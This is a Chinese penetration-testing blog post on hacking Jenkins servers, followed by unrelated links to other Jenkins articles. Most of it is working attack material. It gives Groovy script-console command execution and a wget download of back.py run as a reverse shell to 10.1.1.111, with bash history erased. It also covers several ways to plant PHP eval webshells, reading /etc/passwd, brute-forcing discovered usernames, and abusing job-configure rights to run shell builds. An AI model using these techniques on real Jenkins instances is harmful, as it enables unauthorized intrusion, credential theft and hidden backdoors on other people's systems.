知其一不知其二之Jenkins Hacking

转自安全脉搏

本文首发安全脉搏 感谢大王叫我来巡山 的投递 转载请注明来源

大多安全工作者听到jenkins都会知道有个未授权的命令执行

但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢

抱着提出问题–>测试问题–>解决问题的思路有了这篇文章

由于版本众多 也不用下载本地测了 直接在内网找到六个

截止发稿 Jenkins新版本为(1.589)

一、 知其一的Jenkins未授权访问可执行命令

http://www.secpulse.com:8080/manage

http://www.secpulse.com:8080/script

默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令

1) println “ifconfig -a”.execute().text  执行一些系统命令

老外比较喜欢这样用:

1

2

3

4

5

6

7

8

9

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = ‘[INSERT COMMAND]‘.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

2) 直接wget下载back.py反弹shell

1

2

3

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text

println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面

back.py不需要root权限

3) 不想反弹试试Terminal Plugin

可以搜索安装Terminal Plugin

https://wiki.jenkins-ci.org/display/JENKINS/Terminal+Plugin

不想提权的话 还是蛮好用的终端插件 谁用谁知道~

二、不知其二之多种方式写shell

有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell

尝试几次失败后开始翻阅Groovy  Script语法

The web site for Groovy is http://groovy.codehaus.org/

Groovy is a weakly-typed scripting language based on Java.

1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

def name = ‘Joe‘

println "Hello $name"

//Hello Joe

def name = ‘Joe‘

println "Number of letters in $name is ${name.size( )}"

//Number of letters in Joe is 3

//Groovy I/O 文件读写

读文件

text = new File("/tmp/back.py").getText();

//eachLine -- 打开和读取文件的每一行

new File("/tmp/back.py").eachLine {

println it;

}

//readLines

lineList = new File("/tmp/back.py").readLines();

lineList.each {

println it.toUpperCase();

}

write轻轻松松写文件

new File("/tmp/1.php").write(‘Hello SecPulse‘);

多行写入

new File("/tmp/1.php").write("""

This is

just a test file

to play with

""");

2)几种写webshell的错误写法:

1

2

3

4

5

6

7

8

9

10

11

println "echo \‘<?php @eval($_POST[c6md])?>\‘ > /var/www/html/media.php".execute().text

println "echo ‘<?php @eval(\$_POST[c6md])?>\‘ > /var/www/html/media.php ".execute().text

new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");

groovy.lang.MissingPropertyException: No such property: _POST for class: Script1

new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");

new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

3)脑洞开 多种写webshell方法

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

① wget写webshell

println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text

new File("/var/www/html/media.php").write(‘<?php @eval($_POST[s3cpu1se]);?>‘);

def webshell = ‘<?php @eval($_POST[s3cpu1se]);?>‘

new File("/var/www/html/media.php").write("$webshell");

④追加法写webshell

def execute(cmd) {

def proc =  cmd.execute()

proc.waitFor()

}

execute( [ ‘bash‘, ‘-c‘, ‘echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php‘ ] )

execute( [ ‘bash‘, ‘-c‘, ‘echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php‘ ] )

//参数-n 不要在最后自动换行

Result: 0 表示成功写入

Result: 1 表示目录不存在或者权限不足 写入失败

Result: 2 表示构造有异常 写入失败

Hudson(jenkins类似)找”脚本命令行”

执行Groovy代码,读取服务器本地/etc/passwd文件:

1

2

3

4

5

6

7

8

9

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

三、高逼格的Powershell&msf

https://github.com/samratashok/nishang

http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console

http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html

nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要

四、登录认证的突破

jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限

1)某些版本匿名用户可以访问asynchPeople 可爆破密码

(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)

//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人

http://jenkins.secpulse.com:8080/asynchPeople/

所有构建(builds)

http://jenkins.secpulse.com:8080/view/All/builds

可以导出为XML

http:// jenkins.secpulse.com:8080/view/All/cc.xml

userContent(一般就一个readme):

http:// jenkins.secpulse.com:8080/userContent/

Computers:

http:// jenkins.secpulse.com:8080/computer/

2) 熟练的猜密码

根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)

有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~

3) 构造精准字典,来爆破

最好是构造精准的字典 也可以是top1000之类的弱口令

爆破Payload里面的json串可以删除

主要根据location判断爆破成功与否

五、低权限用户命令执行突破

不小心猜了个用户 没有执行权限 但是有job查看和configure权限

http://jenkins.secpulse.com:8080/job/Job1/configure

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

新加一个Execute Shell添加command  (win平台用Execute Windows batch command)

Cat /etc/passwd

Apply

添加左上侧 立即构建

Build History看到历史BuildId

右键

控制台输出

http://jenkins.secpulse.com:8080/job/Job1/300/console

纯文本方式

http://jenkins.secpulse.com:8080/job/Job1/300/consoleText

老外也有提及:http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html

六、asynchPeople等不能访问时候的突破

快速定位用户有妙招

1) 如果jobs能访问的话 各种翻jobs 会看到启动用户

2) 如果不能 那么启用/user/xxx/暴力模式

如果存在

如果不存在

突破用户回到上述的四和五~

七、关于几个配置和加密

1) 根目录下的关键配置config.xml

① 如果配置不好的话 容易导致config.xml直接下载

http:// jenkins.secpulse.com:8080/config.xml

②[useSecurity]true[/useSecurity] 改为false的话就可以未授权访问了

2) 每个用户目录下面的config.xml

passHash使用了Java的强加密方式jbcrypt

pentest工作就是大部分自动化 快速找到安全短板 譬如st2,譬如弱口令,譬如本文的jenkins命令执行,快速突破进内网完成测试任务。安全运维人员则必须修补每一个缺口,重视每一块短板,紧跟每一次安全漏洞披露。以上是一些拙见,欢迎交流~

时间: 2024-10-20 05:50:12

知其一不知其二之Jenkins Hacking的相关文章

ansible+Jenkins+supervisor(Jenkins守护进程)

安装的插件 ansible ,ansible+windows ,SDK,gradle 3.0,groovy,svn,git,ant,maven,java-1.8.0-openjdk 本博客所有的脚本都是基于centos7 及windows server 2008 R2 编写 所有的自动化部署工具都是基于 ansible #!/bin/bash if [ $( rpm -qi epel-release | wc -l ) -gt 1 ]; then echo "epel-release insta

Jenkins+Ansible+Gitlab自动化部署三剑客

最近一直在学习Ansible的一些playbook的写法, 所以一直没有怎么更新, 想到目前大家对诸如saltstack, docker, Ansible等自动化部署相关的工具很感兴趣, 但又苦于没有可学习的中文实例, 这里我就把我这几个月所接触到目前国外比较流行的部署经验给大家分享一下. 首先给大家介绍的是Ansible, 恩, 重要的问题说三遍, 不是Saltstack, Ansible作为一个python写的自动化部署工具, 确实较之前我所接触的Chef, saltstack, puppe

Jenkins+Gitlab+Ansible自动化部署(六)

Pipeline Job实现Nginix+MySQL+PHP+Wordpress实现自动化部署交付(Jenkins+Gitlab+Ansible自动化部署(五)https://www.cnblogs.com/zd520pyx1314/p/10249094.html) 环境准备 编写ansible playbook脚本实现Wordpress远程部署 将wordpress源码与playbook部署脚本提交到gitlab仓库 编写pipeline job脚本实现Jenkins流水线持续交付流程 Jen

Jenkins+GitLab+Ansible playbook安装与基本使用

GitLab 什么是GitLab? GitLab是一个开源分布式版本控制系统,开发语言为Ruby,功能为管理项目源代码.版本控制.代码复用与查找 GitLab与GitHub的不同 github分布式在线代码托管仓库,个人版本可直接在线免费使用,企业版本收费且需要服务器安装gitlab分布式在线代码仓库托管软件,分社区免费版本与企业收费版本,都需要服务器安装 GitLab的优势和应用场景 ? 开源免费,适合中小型公司将代码放置在该系统中 ? 差异化版本管理,离线同步y以及强大分支管理功能 ? 便捷

Jenkins+Ansible+Gitlab自动化部署三剑客(八)--Jenkins ansible集成

Jenkins Ansible集成 准备工作 参考https://www.cnblogs.com/bk770466199/p/12259007.html完成以下准备工作 需要在jenkins服务器上,配置ansible2.5+python 3.6虚拟环境 配置jenkins.example.com主机到test.example.com主机的ssh免秘钥认证 配置ansible,创建testservers文件 1.新建项目 2.添加shell #!/bin/sh set +x source /ho

This Jenkins instance appears to be offline

tomcat 方式启动jenkins时,报:This Jenkins instance appears to be offline and offers options to "Configure Proxy" or "Skip Plugin Installation" 网上有个帖子: In my case, it has something to do with SSL. I manage to fix it by editing `/var/lib/jenkin

selenium3 - Tomcat and jenkins

一.Tomcat的学习 1.tomcat 下载地址:tomcat.apache.org 2.配置tomcat环境变量: 新建系统变量 -  变量名:CATALINA_HOME    变量值:D:\TOMECAT\apache-tomcat-6.0.37      将环境变量%CATALINA_HOME%\bin加入path变量中 3.启动tomcat的三种方式: 1)dos中输入startup 2) dos中输入catalina.bat run 3) dos中输入cd /d D:\TOMCAT\

(1)Jenkins Linux环境下的简单搭建

(1)Jenkins Linux环境下的简单搭建 Jenkins是一个开源软件项目,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能. ----百度百科 这是一款基于Java开发的工具.种种原因,最近刚开始接触,决定研究一下.Jenkins的搭建方法不止一种,一下就是个人总结的其中一种,文章内容比较浅显,不足之处,欢迎指正. 首先,所需要准备的工具JDK.Maven.资料上显示JDK版本最好高于1.7,并没有研究1.7以下版本,所谓"没有实际调研,就没有发言权",在此就不做过多

Jenkins Gitlab持续集成打包平台搭建

相关概念 Jenkins Jenkins,一个用Java编写的开源的持续集成工具,提供了软件开发的持续集成服务,可监控并触发持续重复的工作,具有开源,支持多平台和插件扩展,安装简单,界面化管理等特点.更多介绍参考[维基](https://en.wikipedia.org/wiki/Jenkins_(software)介绍. Gitlab GitLab是一个利用Ruby on Rails开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目,更多介绍参考维基